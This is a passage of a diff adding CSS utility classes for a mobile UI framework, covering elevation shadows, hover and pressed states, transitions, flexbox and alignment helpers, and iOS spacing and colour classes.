0px 1px 14px 0px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-6:hover { + -webkit-box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-7:hover { + -webkit-box-shadow: 0px 4px 5px -2px rgba(0, 0, 0, 0.2), 0px 7px 10px 1px rgba(0, 0, 0, 0.14), 0px 2px 16px 1px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 4px 5px -2px rgba(0, 0, 0, 0.2), 0px 7px 10px 1px rgba(0, 0, 0, 0.14), 0px 2px 16px 1px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-8:hover { + -webkit-box-shadow: 0px 5px 5px -3px rgba(0, 0, 0, 0.2), 0px 8px 10px 1px rgba(0, 0, 0, 0.14), 0px 3px 14px 2px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 5px 5px -3px rgba(0, 0, 0, 0.2), 0px 8px 10px 1px rgba(0, 0, 0, 0.14), 0px 3px 14px 2px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-9:hover { + -webkit-box-shadow: 0px 5px 6px -3px rgba(0, 0, 0, 0.2), 0px 9px 12px 1px rgba(0, 0, 0, 0.14), 0px 3px 16px 2px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 5px 6px -3px rgba(0, 0, 0, 0.2), 0px 9px 12px 1px rgba(0, 0, 0, 0.14), 0px 3px 16px 2px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-10:hover { + -webkit-box-shadow: 0px 6px 6px -3px rgba(0, 0, 0, 0.2), 0px 10px 14px 1px rgba(0, 0, 0, 0.14), 0px 4px 18px 3px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 6px 6px -3px rgba(0, 0, 0, 0.2), 0px 10px 14px 1px rgba(0, 0, 0, 0.14), 0px 4px 18px 3px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-11:hover { + -webkit-box-shadow: 0px 6px 7px -4px rgba(0, 0, 0, 0.2), 0px 11px 15px 1px rgba(0, 0, 0, 0.14), 0px 4px 20px 3px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 6px 7px -4px rgba(0, 0, 0, 0.2), 0px 11px 15px 1px rgba(0, 0, 0, 0.14), 0px 4px 20px 3px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-12:hover { + -webkit-box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 12px 17px 2px rgba(0, 0, 0, 0.14), 0px 5px 22px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 12px 17px 2px rgba(0, 0, 0, 0.14), 0px 5px 22px 4px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-13:hover { + -webkit-box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 13px 19px 2px rgba(0, 0, 0, 0.14), 0px 5px 24px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 13px 19px 2px rgba(0, 0, 0, 0.14), 0px 5px 24px 4px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-14:hover { + -webkit-box-shadow: 0px 7px 9px -4px rgba(0, 0, 0, 0.2), 0px 14px 21px 2px rgba(0, 0, 0, 0.14), 0px 5px 26px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 9px -4px rgba(0, 0, 0, 0.2), 0px 14px 21px 2px rgba(0, 0, 0, 0.14), 0px 5px 26px 4px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-15:hover { + -webkit-box-shadow: 0px 8px 9px -5px rgba(0, 0, 0, 0.2), 0px 15px 22px 2px rgba(0, 0, 0, 0.14), 0px 6px 28px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 9px -5px rgba(0, 0, 0, 0.2), 0px 15px 22px 2px rgba(0, 0, 0, 0.14), 0px 6px 28px 5px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-16:hover { + -webkit-box-shadow: 0px 8px 10px -5px rgba(0, 0, 0, 0.2), 0px 16px 24px 2px rgba(0, 0, 0, 0.14), 0px 6px 30px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 10px -5px rgba(0, 0, 0, 0.2), 0px 16px 24px 2px rgba(0, 0, 0, 0.14), 0px 6px 30px 5px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-17:hover { + -webkit-box-shadow: 0px 8px 11px -5px rgba(0, 0, 0, 0.2), 0px 17px 26px 2px rgba(0, 0, 0, 0.14), 0px 6px 32px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 11px -5px rgba(0, 0, 0, 0.2), 0px 17px 26px 2px rgba(0, 0, 0, 0.14), 0px 6px 32px 5px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-18:hover { + -webkit-box-shadow: 0px 9px 11px -5px rgba(0, 0, 0, 0.2), 0px 18px 28px 2px rgba(0, 0, 0, 0.14), 0px 7px 34px 6px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 9px 11px -5px rgba(0, 0, 0, 0.2), 0px 18px 28px 2px rgba(0, 0, 0, 0.14), 0px 7px 34px 6px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-19:hover { + -webkit-box-shadow: 0px 9px 12px -6px rgba(0, 0, 0, 0.2), 0px 19px 29px 2px rgba(0, 0, 0, 0.14), 0px 7px 36px 6px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 9px 12px -6px rgba(0, 0, 0, 0.2), 0px 19px 29px 2px rgba(0, 0, 0, 0.14), 0px 7px 36px 6px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-20:hover { + -webkit-box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 20px 31px 3px rgba(0, 0, 0, 0.14), 0px 8px 38px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 20px 31px 3px rgba(0, 0, 0, 0.14), 0px 8px 38px 7px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-21:hover { + -webkit-box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 21px 33px 3px rgba(0, 0, 0, 0.14), 0px 8px 40px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 21px 33px 3px rgba(0, 0, 0, 0.14), 0px 8px 40px 7px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-22:hover { + -webkit-box-shadow: 0px 10px 14px -6px rgba(0, 0, 0, 0.2), 0px 22px 35px 3px rgba(0, 0, 0, 0.14), 0px 8px 42px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 14px -6px rgba(0, 0, 0, 0.2), 0px 22px 35px 3px rgba(0, 0, 0, 0.14), 0px 8px 42px 7px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-23:hover { + -webkit-box-shadow: 0px 11px 14px -7px rgba(0, 0, 0, 0.2), 0px 23px 36px 3px rgba(0, 0, 0, 0.14), 0px 9px 44px 8px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 11px 14px -7px rgba(0, 0, 0, 0.2), 0px 23px 36px 3px rgba(0, 0, 0, 0.14), 0px 9px 44px 8px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-24:hover { + -webkit-box-shadow: 0px 11px 15px -7px rgba(0, 0, 0, 0.2), 0px 24px 38px 3px rgba(0, 0, 0, 0.14), 0px 9px 46px 8px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 11px 15px -7px rgba(0, 0, 0, 0.2), 0px 24px 38px 3px rgba(0, 0, 0, 0.14), 0px 9px 46px 8px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-0, +.device-desktop .active-state.elevation-pressed-0 { + -webkit-box-shadow: 0px 0px 0px 0px rgba(0, 0, 0, 0) !important; + box-shadow: 0px 0px 0px 0px rgba(0, 0, 0, 0) !important; +} +.active-state.elevation-pressed-1, +.device-desktop .active-state.elevation-pressed-1 { + -webkit-box-shadow: 0px 2px 1px -1px rgba(0, 0, 0, 0.2), 0px 1px 1px 0px rgba(0, 0, 0, 0.14), 0px 1px 3px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 2px 1px -1px rgba(0, 0, 0, 0.2), 0px 1px 1px 0px rgba(0, 0, 0, 0.14), 0px 1px 3px 0px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-2, +.device-desktop .active-state.elevation-pressed-2 { + -webkit-box-shadow: 0px 3px 1px -2px rgba(0, 0, 0, 0.2), 0px 2px 2px 0px rgba(0, 0, 0, 0.14), 0px 1px 5px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 1px -2px rgba(0, 0, 0, 0.2), 0px 2px 2px 0px rgba(0, 0, 0, 0.14), 0px 1px 5px 0px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-3, +.device-desktop .active-state.elevation-pressed-3 { + -webkit-box-shadow: 0px 3px 3px -2px rgba(0, 0, 0, 0.2), 0px 3px 4px 0px rgba(0, 0, 0, 0.14), 0px 1px 8px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 3px -2px rgba(0, 0, 0, 0.2), 0px 3px 4px 0px rgba(0, 0, 0, 0.14), 0px 1px 8px 0px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-4, +.device-desktop .active-state.elevation-pressed-4 { + -webkit-box-shadow: 0px 2px 4px -1px rgba(0, 0, 0, 0.2), 0px 4px 5px 0px rgba(0, 0, 0, 0.14), 0px 1px 10px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 2px 4px -1px rgba(0, 0, 0, 0.2), 0px 4px 5px 0px rgba(0, 0, 0, 0.14), 0px 1px 10px 0px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-5, +.device-desktop .active-state.elevation-pressed-5 { + -webkit-box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 5px 8px 0px rgba(0, 0, 0, 0.14), 0px 1px 14px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 5px 8px 0px rgba(0, 0, 0, 0.14), 0px 1px 14px 0px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-6, +.device-desktop .active-state.elevation-pressed-6 { + -webkit-box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-7, +.device-desktop .active-state.elevation-pressed-7 { + -webkit-box-shadow: 0px 4px 5px -2px rgba(0, 0, 0, 0.2), 0px 7px 10px 1px rgba(0, 0, 0, 0.14), 0px 2px 16px 1px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 4px 5px -2px rgba(0, 0, 0, 0.2), 0px 7px 10px 1px rgba(0, 0, 0, 0.14), 0px 2px 16px 1px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-8, +.device-desktop .active-state.elevation-pressed-8 { + -webkit-box-shadow: 0px 5px 5px -3px rgba(0, 0, 0, 0.2), 0px 8px 10px 1px rgba(0, 0, 0, 0.14), 0px 3px 14px 2px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 5px 5px -3px rgba(0, 0, 0, 0.2), 0px 8px 10px 1px rgba(0, 0, 0, 0.14), 0px 3px 14px 2px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-9, +.device-desktop .active-state.elevation-pressed-9 { + -webkit-box-shadow: 0px 5px 6px -3px rgba(0, 0, 0, 0.2), 0px 9px 12px 1px rgba(0, 0, 0, 0.14), 0px 3px 16px 2px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 5px 6px -3px rgba(0, 0, 0, 0.2), 0px 9px 12px 1px rgba(0, 0, 0, 0.14), 0px 3px 16px 2px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-10, +.device-desktop .active-state.elevation-pressed-10 { + -webkit-box-shadow: 0px 6px 6px -3px rgba(0, 0, 0, 0.2), 0px 10px 14px 1px rgba(0, 0, 0, 0.14), 0px 4px 18px 3px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 6px 6px -3px rgba(0, 0, 0, 0.2), 0px 10px 14px 1px rgba(0, 0, 0, 0.14), 0px 4px 18px 3px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-11, +.device-desktop .active-state.elevation-pressed-11 { + -webkit-box-shadow: 0px 6px 7px -4px rgba(0, 0, 0, 0.2), 0px 11px 15px 1px rgba(0, 0, 0, 0.14), 0px 4px 20px 3px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 6px 7px -4px rgba(0, 0, 0, 0.2), 0px 11px 15px 1px rgba(0, 0, 0, 0.14), 0px 4px 20px 3px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-12, +.device-desktop .active-state.elevation-pressed-12 { + -webkit-box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 12px 17px 2px rgba(0, 0, 0, 0.14), 0px 5px 22px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 12px 17px 2px rgba(0, 0, 0, 0.14), 0px 5px 22px 4px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-13, +.device-desktop .active-state.elevation-pressed-13 { + -webkit-box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 13px 19px 2px rgba(0, 0, 0, 0.14), 0px 5px 24px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 13px 19px 2px rgba(0, 0, 0, 0.14), 0px 5px 24px 4px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-14, +.device-desktop .active-state.elevation-pressed-14 { + -webkit-box-shadow: 0px 7px 9px -4px rgba(0, 0, 0, 0.2), 0px 14px 21px 2px rgba(0, 0, 0, 0.14), 0px 5px 26px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 9px -4px rgba(0, 0, 0, 0.2), 0px 14px 21px 2px rgba(0, 0, 0, 0.14), 0px 5px 26px 4px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-15, +.device-desktop .active-state.elevation-pressed-15 { + -webkit-box-shadow: 0px 8px 9px -5px rgba(0, 0, 0, 0.2), 0px 15px 22px 2px rgba(0, 0, 0, 0.14), 0px 6px 28px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 9px -5px rgba(0, 0, 0, 0.2), 0px 15px 22px 2px rgba(0, 0, 0, 0.14), 0px 6px 28px 5px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-16, +.device-desktop .active-state.elevation-pressed-16 { + -webkit-box-shadow: 0px 8px 10px -5px rgba(0, 0, 0, 0.2), 0px 16px 24px 2px rgba(0, 0, 0, 0.14), 0px 6px 30px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 10px -5px rgba(0, 0, 0, 0.2), 0px 16px 24px 2px rgba(0, 0, 0, 0.14), 0px 6px 30px 5px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-17, +.device-desktop .active-state.elevation-pressed-17 { + -webkit-box-shadow: 0px 8px 11px -5px rgba(0, 0, 0, 0.2), 0px 17px 26px 2px rgba(0, 0, 0, 0.14), 0px 6px 32px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 11px -5px rgba(0, 0, 0, 0.2), 0px 17px 26px 2px rgba(0, 0, 0, 0.14), 0px 6px 32px 5px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-18, +.device-desktop .active-state.elevation-pressed-18 { + -webkit-box-shadow: 0px 9px 11px -5px rgba(0, 0, 0, 0.2), 0px 18px 28px 2px rgba(0, 0, 0, 0.14), 0px 7px 34px 6px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 9px 11px -5px rgba(0, 0, 0, 0.2), 0px 18px 28px 2px rgba(0, 0, 0, 0.14), 0px 7px 34px 6px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-19, +.device-desktop .active-state.elevation-pressed-19 { + -webkit-box-shadow: 0px 9px 12px -6px rgba(0, 0, 0, 0.2), 0px 19px 29px 2px rgba(0, 0, 0, 0.14), 0px 7px 36px 6px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 9px 12px -6px rgba(0, 0, 0, 0.2), 0px 19px 29px 2px rgba(0, 0, 0, 0.14), 0px 7px 36px 6px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-20, +.device-desktop .active-state.elevation-pressed-20 { + -webkit-box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 20px 31px 3px rgba(0, 0, 0, 0.14), 0px 8px 38px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 20px 31px 3px rgba(0, 0, 0, 0.14), 0px 8px 38px 7px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-21, +.device-desktop .active-state.elevation-pressed-21 { + -webkit-box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 21px 33px 3px rgba(0, 0, 0, 0.14), 0px 8px 40px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 21px 33px 3px rgba(0, 0, 0, 0.14), 0px 8px 40px 7px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-22, +.device-desktop .active-state.elevation-pressed-22 { + -webkit-box-shadow: 0px 10px 14px -6px rgba(0, 0, 0, 0.2), 0px 22px 35px 3px rgba(0, 0, 0, 0.14), 0px 8px 42px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 14px -6px rgba(0, 0, 0, 0.2), 0px 22px 35px 3px rgba(0, 0, 0, 0.14), 0px 8px 42px 7px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-23, +.device-desktop .active-state.elevation-pressed-23 { + -webkit-box-shadow: 0px 11px 14px -7px rgba(0, 0, 0, 0.2), 0px 23px 36px 3px rgba(0, 0, 0, 0.14), 0px 9px 44px 8px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 11px 14px -7px rgba(0, 0, 0, 0.2), 0px 23px 36px 3px rgba(0, 0, 0, 0.14), 0px 9px 44px 8px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-24, +.device-desktop .active-state.elevation-pressed-24 { + -webkit-box-shadow: 0px 11px 15px -7px rgba(0, 0, 0, 0.2), 0px 24px 38px 3px rgba(0, 0, 0, 0.14), 0px 9px 46px 8px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 11px 15px -7px rgba(0, 0, 0, 0.2), 0px 24px 38px 3px rgba(0, 0, 0, 0.14), 0px 9px 46px 8px rgba(0, 0, 0, 0.12) !important; +} +.elevation-transition-100 { + -webkit-transition-duration: 100ms; + transition-duration: 100ms; + -webkit-transition-property: -webkit-box-shadow; + transition-property: -webkit-box-shadow; + transition-property: box-shadow; + transition-property: box-shadow, -webkit-box-shadow; +} +.elevation-transition, +.elevation-transition-200 { + -webkit-transition-duration: 200ms; + transition-duration: 200ms; + -webkit-transition-property: -webkit-box-shadow; + transition-property: -webkit-box-shadow; + transition-property: box-shadow; + transition-property: box-shadow, -webkit-box-shadow; +} +.elevation-transition-300 { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transition-property: -webkit-box-shadow; + transition-property: -webkit-box-shadow; + transition-property: box-shadow; + transition-property: box-shadow, -webkit-box-shadow; +} +.elevation-transition-400 { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; + -webkit-transition-property: -webkit-box-shadow; + transition-property: -webkit-box-shadow; + transition-property: box-shadow; + transition-property: box-shadow, -webkit-box-shadow; +} +.elevation-transition-500 { + -webkit-transition-duration: 500ms; + transition-duration: 500ms; + -webkit-transition-property: -webkit-box-shadow; + transition-property: -webkit-box-shadow; + transition-property: box-shadow; + transition-property: box-shadow, -webkit-box-shadow; +} +/* === Typography === */ +.display-flex { + display: -webkit-box !important; + display: -webkit-flex !important; + display: -ms-flexbox !important; + display: flex !important; +} +.display-block { + display: block !important; +} +.display-inline-flex { + display: -webkit-inline-box !important; + display: -webkit-inline-flex !important; + display: -ms-inline-flexbox !important; + display: inline-flex !important; +} +.display-inline-block { + display: inline-block !important; +} +.display-inline { + display: inline !important; +} +.display-none { + display: none !important; +} +.flex-shrink-0 { + -webkit-flex-shrink: 0 !important; + -ms-flex-negative: 0 !important; + flex-shrink: 0 !important; +} +.flex-shrink-1 { + -webkit-flex-shrink: 1 !important; + -ms-flex-negative: 1 !important; + flex-shrink: 1 !important; +} +.flex-shrink-2 { + -webkit-flex-shrink: 2 !important; + -ms-flex-negative: 2 !important; + flex-shrink: 2 !important; +} +.flex-shrink-3 { + -webkit-flex-shrink: 3 !important; + -ms-flex-negative: 3 !important; + flex-shrink: 3 !important; +} +.flex-shrink-4 { + -webkit-flex-shrink: 4 !important; + -ms-flex-negative: 4 !important; + flex-shrink: 4 !important; +} +.flex-shrink-5 { + -webkit-flex-shrink: 5 !important; + -ms-flex-negative: 5 !important; + flex-shrink: 5 !important; +} +.flex-shrink-6 { + -webkit-flex-shrink: 6 !important; + -ms-flex-negative: 6 !important; + flex-shrink: 6 !important; +} +.flex-shrink-7 { + -webkit-flex-shrink: 7 !important; + -ms-flex-negative: 7 !important; + flex-shrink: 7 !important; +} +.flex-shrink-8 { + -webkit-flex-shrink: 8 !important; + -ms-flex-negative: 8 !important; + flex-shrink: 8 !important; +} +.flex-shrink-9 { + -webkit-flex-shrink: 9 !important; + -ms-flex-negative: 9 !important; + flex-shrink: 9 !important; +} +.flex-shrink-10 { + -webkit-flex-shrink: 10 !important; + -ms-flex-negative: 10 !important; + flex-shrink: 10 !important; +} +.justify-content-flex-start { + -webkit-box-pack: start !important; + -webkit-justify-content: flex-start !important; + -ms-flex-pack: start !important; + justify-content: flex-start !important; +} +.justify-content-center { + -webkit-box-pack: center !important; + -webkit-justify-content: center !important; + -ms-flex-pack: center !important; + justify-content: center !important; +} +.justify-content-flex-end { + -webkit-box-pack: end !important; + -webkit-justify-content: flex-end !important; + -ms-flex-pack: end !important; + justify-content: flex-end !important; +} +.justify-content-space-between { + -webkit-box-pack: justify !important; + -webkit-justify-content: space-between !important; + -ms-flex-pack: justify !important; + justify-content: space-between !important; +} +.justify-content-space-around { + -webkit-justify-content: space-around !important; + -ms-flex-pack: distribute !important; + justify-content: space-around !important; +} +.justify-content-space-evenly { + -webkit-box-pack: space-evenly !important; + -webkit-justify-content: space-evenly !important; + -ms-flex-pack: space-evenly !important; + justify-content: space-evenly !important; +} +.justify-content-stretch { + -webkit-box-pack: stretch !important; + -webkit-justify-content: stretch !important; + -ms-flex-pack: stretch !important; + justify-content: stretch !important; +} +.justify-content-start { + -webkit-box-pack: start !important; + -webkit-justify-content: start !important; + -ms-flex-pack: start !important; + justify-content: start !important; +} +.justify-content-end { + -webkit-box-pack: end !important; + -webkit-justify-content: end !important; + -ms-flex-pack: end !important; + justify-content: end !important; +} +.justify-content-left { + -webkit-box-pack: left !important; + -webkit-justify-content: left !important; + -ms-flex-pack: left !important; + justify-content: left !important; +} +.justify-content-right { + -webkit-box-pack: right !important; + -webkit-justify-content: right !important; + -ms-flex-pack: right !important; + justify-content: right !important; +} +.align-content-flex-start { + -webkit-align-content: flex-start !important; + -ms-flex-line-pack: start !important; + align-content: flex-start !important; +} +.align-content-flex-end { + -webkit-align-content: flex-end !important; + -ms-flex-line-pack: end !important; + align-content: flex-end !important; +} +.align-content-center { + -webkit-align-content: center !important; + -ms-flex-line-pack: center !important; + align-content: center !important; +} +.align-content-space-between { + -webkit-align-content: space-between !important; + -ms-flex-line-pack: justify !important; + align-content: space-between !important; +} +.align-content-space-around { + -webkit-align-content: space-around !important; + -ms-flex-line-pack: distribute !important; + align-content: space-around !important; +} +.align-content-stretch { + -webkit-align-content: stretch !important; + -ms-flex-line-pack: stretch !important; + align-content: stretch !important; +} +.align-items-flex-start { + -webkit-box-align: start !important; + -webkit-align-items: flex-start !important; + -ms-flex-align: start !important; + align-items: flex-start !important; +} +.align-items-flex-end { + -webkit-box-align: end !important; + -webkit-align-items: flex-end !important; + -ms-flex-align: end !important; + align-items: flex-end !important; +} +.align-items-center { + -webkit-box-align: center !important; + -webkit-align-items: center !important; + -ms-flex-align: center !important; + align-items: center !important; +} +.align-items-stretch { + -webkit-box-align: stretch !important; + -webkit-align-items: stretch !important; + -ms-flex-align: stretch !important; + align-items: stretch !important; +} +.align-self-flex-start { + -webkit-align-self: flex-start !important; + -ms-flex-item-align: start !important; + align-self: flex-start !important; +} +.align-self-flex-end { + -webkit-align-self: flex-end !important; + -ms-flex-item-align: end !important; + align-self: flex-end !important; +} +.align-self-center { + -webkit-align-self: center !important; + -ms-flex-item-align: center !important; + align-self: center !important; +} +.align-self-stretch { + -webkit-align-self: stretch !important; + -ms-flex-item-align: stretch !important; + align-self: stretch !important; +} +.text-align-left { + text-align: left !important; +} +.text-align-center { + text-align: center !important; +} +.text-align-right { + text-align: right !important; +} +.text-align-justify { + text-align: justify !important; +} +.float-left { + float: left !important; +} +.float-right { + float: right !important; +} +.float-none { + float: none !important; +} +.vertical-align-bottom { + vertical-align: bottom !important; +} +.vertical-align-middle { + vertical-align: middle !important; +} +.vertical-align-top { + vertical-align: top !important; +} +.no-padding { + padding: 0 !important; +} +.no-padding-left { + padding-left: 0 !important; +} +.no-padding-right { + padding-right: 0 !important; +} +.no-padding-top { + padding-top: 0 !important; +} +.no-padding-bottom { + padding-bottom: 0 !important; +} +.no-margin { + margin: 0 !important; +} +.no-margin-left { + margin-left: 0 !important; +} +.no-margin-right { + margin-right: 0 !important; +} +.no-margin-top { + margin-top: 0 !important; +} +.no-margin-bottom { + margin-bottom: 0 !important; +} +.width-auto { + width: auto !important; +} +.width-100 { + width: 100% !important; +} +.ios .padding { + padding: 15px !important; +} +.ios .padding-top { + padding-top: 15px !important; +} +.ios .padding-bottom { + padding-bottom: 15px !important; +} +.ios .padding-left { + padding-left: 15px !important; +} +.ios .padding-left-ios-edge { + padding-left: constant(safe-area-inset-left); + padding-left: env(safe-area-inset-left); +} +.ios .padding-right-ios-edge { + padding-right: constant(safe-area-inset-right); + padding-right: env(safe-area-inset-right); +} +.ios .padding-top-ios-edge { + padding-top: constant(safe-area-inset-top); + padding-top: env(safe-area-inset-top); +} +.ios .padding-bottom-ios-edge { + padding-bottom: constant(safe-area-inset-bottom); + padding-bottom: env(safe-area-inset-bottom); +} +.ios .padding-right { + padding-right: 15px !important; +} +.ios .padding-vertical { + padding-top: 15px !important; + padding-bottom: 15px !important; +} +.ios .padding-horizontal { + padding-left: 15px !important; + padding-right: 15px !important; +} +.ios .margin { + margin: 15px !important; +} +.ios .margin-top { + margin-top: 15px !important; +} +.ios .margin-bottom { + margin-bottom: 15px !important; +} +.ios .margin-left { + margin-left: 15px !important; +} +.ios .margin-right { + margin-right: 15px !important; +} +.ios .margin-vertical { + margin-top: 15px !important; + margin-bottom: 15px !important; +} +.ios .margin-horizontal { + margin-left: 15px !important; + margin-right: 15px !important; +} +.ios .text-color-red { + color: #ff3b30 !important; +} +.ios .bg-color-red { + background-color: #ff3b30 !important; +} +.ios .border-color-red { + border-color: #ff3b30 !important; +} +.ios .text-color-green { + color: #4cd964 !important; +} +.ios .bg-color-green { + background-color: #4cd964 !important; +} +.ios .border-color-green { + border-color: #4cd964 !important; +} +.ios .text-color-blue { + color: #007aff !important; +} +.ios .bg-color-blue { + background-color: #007aff !important; +} +.ios .border-color-blue { + border-color: #007aff !important; +} +.ios .text-color-pink { + color: #ff2d55 !important; +} +.ios .bg-color-pink { + background-color: #ff2d55 !important; +} +.ios .border-color-pink { + border-color: #ff2d55 !important; +} +.ios .text-color-yellow { + color: #ffcc00 !important; +} +.ios .bg-color-yellow { + background-color: #ffcc00 !important; +} +.ios .border-color-yellow { + border-color: #ffcc00 !important; +} +.ios .text-color-orange { + color: #ff9500 !important; +} +.ios .bg-color-orange { + background-color: #ff9500 !important; +} +.ios .border-color-orange { + border-color: #ff9500 !important; +} +.ios .text-color-gray { + color: #8e8e93 !important; +} +.ios .bg-color-gray { + background-color: #8e8e93 !important; +} +.ios .border-color-gray { + border-color: #8e8e93 !important; +} +.ios .text-color-white { + color: #ffffff !important; +} +.ios .bg-color-white { + background-color: #ffffff !important; +} +.ios .border-color-white { + border-color: #ffffff !important; +} +.ios .text-color-black { + color: #000000 !important; 